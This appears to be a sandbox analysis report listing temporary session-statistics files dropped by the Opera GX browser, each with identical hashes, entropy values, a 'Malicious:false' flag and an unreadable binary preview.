                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8dd0.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8ddf.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8dfe.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8e0e.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8e4d.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8fc4.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8fe3.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8ff2.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9002.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9021.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9041.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9050.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9060.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d906f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d907f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d908f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d90ae.TMP (copy)

                                                                                                                                                                                                              Download File
